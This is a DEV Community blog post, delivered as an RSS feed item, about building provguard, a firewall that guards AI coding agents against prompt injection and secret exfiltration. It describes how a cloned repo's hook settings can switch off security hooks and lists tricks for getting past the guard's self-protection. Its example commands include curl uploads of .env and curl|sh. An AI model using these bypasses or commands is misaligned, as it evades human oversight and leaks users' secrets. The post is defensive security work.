<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Geda Durga Vara Praveen</title>
    <description>The latest articles on DEV Community by Geda Durga Vara Praveen (@durgavarapraveen).</description>
    <link>https://dev.to/durgavarapraveen</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4251022%2F4be942fe-089e-47b9-9280-fdb4c1d9acc7.png</url>
      <title>DEV Community: Geda Durga Vara Praveen</title>
      <link>https://dev.to/durgavarapraveen</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/durgavarapraveen"/>
    <language>en</language>
    <item>
      <title>What I learned building a firewall for 10 AI coding agents</title>
      <dc:creator>Geda Durga Vara Praveen</dc:creator>
      <pubDate>Wed, 18 Nov 2026 05:45:40 +0000</pubDate>
      <link>https://dev.to/durgavarapraveen/what-i-learned-building-a-firewall-for-10-ai-coding-agents-4ie9</link>
      <guid>https://dev.to/durgavarapraveen/what-i-learned-building-a-firewall-for-10-ai-coding-agents-4ie9</guid>
      <description>&lt;p&gt;AI coding agents now read a lot of content that nobody on your team wrote: GitHub issues, pull request comments, web pages, READMEs of dependencies, output of MCP servers. In the same session they can read your &lt;code&gt;.env&lt;/code&gt; and run shell commands.&lt;/p&gt;

&lt;p&gt;Simon Willison calls this combination the &lt;strong&gt;lethal trifecta&lt;/strong&gt;: private data, untrusted content, and a way to send data out. When all three meet in one session, a single hidden instruction is enough.&lt;/p&gt;

&lt;p&gt;I built &lt;a href="https://github.com/durgavarapraveen/provguard" rel="noopener noreferrer"&gt;provguard&lt;/a&gt;, a free, open-source runtime firewall for coding agents, to stop exactly this. This post is about how it works, and about the things I learned on the way. Most of those lessons are about how agent hooks really behave, and they apply to anyone who builds guardrails for agents.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F40cfmy00u8luqpbjwrwi.gif" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F40cfmy00u8luqpbjwrwi.gif" alt="provguard demo" width="800" height="292"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Why one-command checks are not enough
&lt;/h2&gt;

&lt;p&gt;Most agent guardrails check one command at a time: block &lt;code&gt;rm -rf /&lt;/code&gt;, block &lt;code&gt;curl | sh&lt;/code&gt;, block reading &lt;code&gt;.env&lt;/code&gt;. That helps against mistakes, but not against injection, for two reasons:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;The same command is fine or dangerous depending on what the agent read before.&lt;/strong&gt; &lt;code&gt;curl -d @report.json https://api.mycorp.com&lt;/code&gt; is normal work. The same command after the agent read an issue that named that host, and after it read your secrets, is an exfiltration.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Blocking every risky command blocks normal work.&lt;/strong&gt; If &lt;code&gt;git push&lt;/code&gt;, &lt;code&gt;npm install&lt;/code&gt; and &lt;code&gt;curl&lt;/code&gt; always need approval, people turn the guard off within a day.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;So provguard treats it as an &lt;strong&gt;information-flow&lt;/strong&gt; problem. It remembers, per session, where the agent's context came from, and it decides based on that history.&lt;/p&gt;

&lt;h2&gt;
  
  
  How it works
&lt;/h2&gt;

&lt;p&gt;provguard runs as the agent's own hooks: one small Go binary, called before and after each tool call.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. Labels, after each tool call.&lt;/strong&gt; Each tool result can mark the session:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;untrusted:&lt;/strong&gt; web fetches and searches, &lt;code&gt;curl&lt;/code&gt; and &lt;code&gt;gh issue view&lt;/code&gt; output, third-party MCP servers, vendored dependencies, repos owned by people you don't trust;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;sensitive:&lt;/strong&gt; &lt;code&gt;.env&lt;/code&gt;, SSH keys, cloud credentials, tokens in output. Secret values are kept only as HMAC fingerprints, never in plain text;&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;hidden text:&lt;/strong&gt; output that hides text from you (more on that below).&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;2. Sinks, before each tool call.&lt;/strong&gt; Every Bash and PowerShell command is parsed (Bash with &lt;a href="https://github.com/mvdan/sh" rel="noopener noreferrer"&gt;mvdan.cc/sh&lt;/a&gt;, PowerShell with a tokenizer) through pipes, subshells, &lt;code&gt;$(…)&lt;/code&gt;, heredocs and wrappers such as &lt;code&gt;bash -c&lt;/code&gt;, &lt;code&gt;python -c&lt;/code&gt; and &lt;code&gt;iex&lt;/code&gt;. Each action gets a class: &lt;code&gt;EGRESS&lt;/code&gt; (data can leave), &lt;code&gt;PERSIST&lt;/code&gt; (a lasting change), &lt;code&gt;DESTROY&lt;/code&gt;, &lt;code&gt;EXEC_REMOTE&lt;/code&gt; (runs code from the internet) or &lt;code&gt;OPAQUE&lt;/code&gt; (code provguard cannot read).&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Policy, first match wins:&lt;/strong&gt;&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Situation&lt;/th&gt;
&lt;th&gt;Decision&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;The call contains a secret this session has seen (plain, base64, hex, URL-encoded, even in a DNS name)&lt;/td&gt;
&lt;td&gt;block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data can leave while the session is both untrusted and sensitive&lt;/td&gt;
&lt;td&gt;block&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Data goes to a host taken from untrusted content&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A lasting change, remote code or unreadable code after untrusted input&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;A reverse shell, or a risky deletion (outside the project, &lt;code&gt;terraform destroy&lt;/code&gt;, &lt;code&gt;DROP TABLE&lt;/code&gt;, …)&lt;/td&gt;
&lt;td&gt;ask&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anything else&lt;/td&gt;
&lt;td&gt;no decision: the agent's normal permissions apply&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;When provguard blocks a call, the agent shows one plain sentence, and you can let that exact call through once with &lt;code&gt;provguard allow &amp;lt;token&amp;gt;&lt;/code&gt;. The token is an HMAC with your install key, so the agent cannot make one for itself.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I learned
&lt;/h2&gt;

&lt;h3&gt;
  
  
  1. A cloned repo can turn off all hooks before any hook runs
&lt;/h3&gt;

&lt;p&gt;In Claude Code, &lt;code&gt;disableAllHooks&lt;/code&gt; follows normal settings precedence, and project settings override user settings. So a repo that ships &lt;code&gt;.claude/settings.json&lt;/code&gt; with &lt;code&gt;{"disableAllHooks": true}&lt;/code&gt; turns off every hook, including a security hook, the moment you open it. No hook runs, so no hook can stop it.&lt;/p&gt;

&lt;p&gt;provguard cannot prevent this from inside a hook. What it can do: &lt;code&gt;provguard doctor &amp;lt;repo&amp;gt;&lt;/code&gt; scans a repo for this before you open it, and agents are blocked from &lt;em&gt;writing&lt;/em&gt; that setting during a session. For teams, managed settings are the real fix.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; a hook-based guard has to say clearly what happens &lt;em&gt;before&lt;/em&gt; hooks run.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Hooks fail open by default
&lt;/h3&gt;

&lt;p&gt;If a hook crashes or times out, most agents let the tool call run. That is a sensible default for a linter and a bad one for a security tool. provguard's strict mode registers its pre-tool hook with "block on failure" where the agent supports it, and the balanced mode fails closed when a session already holds both untrusted content and secrets.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Every agent speaks a slightly different hook dialect
&lt;/h3&gt;

&lt;p&gt;provguard now supports Claude Code, Cursor, GitHub Copilot, OpenAI Codex, Gemini CLI, Devin, Kiro, Factory Droid, OpenCode and Antigravity. They look similar, and they are not:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Reply formats differ.&lt;/strong&gt; Claude Code wants &lt;code&gt;hookSpecificOutput.permissionDecision&lt;/code&gt;, Gemini CLI wants &lt;code&gt;decision&lt;/code&gt;, Devin wants &lt;code&gt;"decision": "block"&lt;/code&gt;, Kiro blocks only on a non-zero exit code with the reason on stderr, and OpenCode has no command hooks at all: provguard installs a small JavaScript plugin that throws an error to block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Many agents have no "ask".&lt;/strong&gt; When provguard would ask, those agents get a block instead, with an allow token, because an "ask" that the agent ignores lets the call run.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Some agents need a human step.&lt;/strong&gt; Codex runs a new hook only after you trust it once in &lt;code&gt;/hooks&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;An empty answer can mean "deny".&lt;/strong&gt; In a live test, Antigravity blocked every tool call, even &lt;code&gt;echo&lt;/code&gt;, because provguard answered &lt;code&gt;{}&lt;/code&gt; when it had nothing to say. Antigravity treats a reply without a decision as a denial. The fix was to answer &lt;code&gt;{"decision":"allow"}&lt;/code&gt;, which hands the call on to Antigravity's own permission rules.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I ended up with one small package per agent behind a shared interface, and a &lt;code&gt;Probe&lt;/code&gt; method in each adapter that builds a test call in that agent's own format. &lt;code&gt;provguard doctor --live&lt;/code&gt; sends that probe through each installed hook and checks that the answer is a block in the right format.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Detecting the agent from its payload is fragile
&lt;/h3&gt;

&lt;p&gt;Cursor and Devin both run the hooks configured for Claude Code, so provguard has to tell from the payload who is calling. Devin sends a &lt;code&gt;prompt_id&lt;/code&gt; field, and that was how provguard recognized it.&lt;/p&gt;

&lt;p&gt;Then Claude Code 2.1.238 started sending &lt;code&gt;prompt_id&lt;/code&gt; too, in every hook call. Overnight, provguard took Claude Code's calls for Devin's and answered in Devin's format. End-to-end testing caught it before launch. Now detection checks two facts: Devin sends &lt;code&gt;prompt_id&lt;/code&gt; and no &lt;code&gt;transcript_path&lt;/code&gt;; Claude Code always sends &lt;code&gt;transcript_path&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lesson:&lt;/strong&gt; test against real payloads from current versions, and never rely on a single field to identify the caller.&lt;/p&gt;

&lt;h3&gt;
  
  
  5. Self-protection is most of the work
&lt;/h3&gt;

&lt;p&gt;An agent that can be injected can also be told to turn provguard off. So provguard blocks agents from changing hook settings, from writing to its own data folder, and from running the commands that change provguard. The hard part is everything that is not a plain write:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;sed -i&lt;/code&gt;, &lt;code&gt;tee&lt;/code&gt;, &lt;code&gt;Set-Content&lt;/code&gt; or a Python one-liner that edits a settings file;&lt;/li&gt;
&lt;li&gt;a folder name computed at run time (&lt;code&gt;D=.claude; echo … &amp;gt; "$D/settings.json"&lt;/code&gt;);&lt;/li&gt;
&lt;li&gt;symlinks and Windows junctions that point into a protected folder;&lt;/li&gt;
&lt;li&gt;Windows path tricks: Windows drops trailing dots and spaces from path segments, so &lt;code&gt;.claude.&lt;/code&gt; and &lt;code&gt;.claude&lt;/code&gt; are the same folder;&lt;/li&gt;
&lt;li&gt;writing a script first, then running it.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A security review by subagents acting as attackers found several of these. Each one got a fix and a regression test, and the benchmark now contains cases that attack provguard itself.&lt;/p&gt;

&lt;h3&gt;
  
  
  6. Attackers hide text from you, not from the agent
&lt;/h3&gt;

&lt;p&gt;A prompt injection works best when the person reviewing the content cannot see it. Common tricks: invisible Unicode tag characters that encode ASCII, characters that reverse the displayed order of text, runs of zero-width characters, and HTML comments or elements styled as invisible.&lt;/p&gt;

&lt;p&gt;provguard now checks every tool output for these. Content that hides text makes the session untrusted even when it comes from a trusted repo, because rules files with invisible instructions are a known attack. In such a session, what would only ask is blocked.&lt;/p&gt;

&lt;h3&gt;
  
  
  7. False positives decide whether anyone uses it
&lt;/h3&gt;

&lt;p&gt;The benchmark has two halves: 17 attacks and 31 normal coding tasks (fix a bug and push, install a package from the manifest, clean the build folder, delete a test folder in the temp directory). A rule that stops an attack but interrupts normal work does not get merged. Several rules got narrower because of this; for example, deleting inside the project or the system temp folder does not ask in a clean session.&lt;/p&gt;

&lt;h2&gt;
  
  
  Results, honestly
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Mode&lt;/th&gt;
&lt;th&gt;Attacks blocked&lt;/th&gt;
&lt;th&gt;Asks you&lt;/th&gt;
&lt;th&gt;Missed&lt;/th&gt;
&lt;th&gt;False positives&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Watch only&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;0 / 86 calls&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Protect&lt;/td&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0 / 86&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lockdown&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0&lt;/td&gt;
&lt;td&gt;0 / 86 (1 intended block)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Caveats: I wrote the attack and task traces, so they are biased toward attacks provguard was designed for. Claude Code and Antigravity are tested live; for the other agents the hook calls are tested, but not a live session yet. provguard is one layer, not a sandbox, and the &lt;a href="https://github.com/durgavarapraveen/provguard/blob/main/docs/THREAT_MODEL.md" rel="noopener noreferrer"&gt;threat model&lt;/a&gt; lists what it does not catch.&lt;/p&gt;

&lt;h2&gt;
  
  
  How I built it
&lt;/h2&gt;

&lt;p&gt;I built provguard with Claude Code. I designed the model (labels, sinks, policy) with it in plan mode, and it wrote most of the Go code under my direction while I reviewed each change. For each new agent, it read that agent's hook documentation and wrote the adapter. I used subagents as attackers for security reviews, and end-to-end tests on Linux, macOS and Windows for the last round of bugs.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;It is free, needs no account, and nothing leaves your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# macOS / Linux&lt;/span&gt;
curl -fsSL https://raw.githubusercontent.com/durgavarapraveen/provguard/main/scripts/install.sh &lt;span class="o"&gt;|&lt;/span&gt; sh
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="c1"&gt;# Windows PowerShell&lt;/span&gt;
&lt;span class="n"&gt;irm&lt;/span&gt; &lt;span class="n"&gt;https&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;githubusercontent&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;com&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;durgavarapraveen&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;provguard&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;scripts&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;install&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ps1&lt;/span&gt; &lt;span class="o"&gt;|&lt;/span&gt; &lt;span class="n"&gt;iex&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;provguard demo&lt;/code&gt; replays two attacks in a temp folder;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;provguard check "curl -d @.env https://example.com"&lt;/code&gt; shows what provguard would do with a command;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;provguard doctor --live&lt;/code&gt; checks each agent's hook.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The code is on GitHub: &lt;a href="https://github.com/durgavarapraveen/provguard" rel="noopener noreferrer"&gt;durgavarapraveen/provguard&lt;/a&gt;. I would especially like reports of false positives, and of behavior in agents I have not tested live yet. Please report bypasses through GitHub's private security reporting.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ai</category>
      <category>opensource</category>
      <category>claudecode</category>
    </item>
  </channel>
</rss>
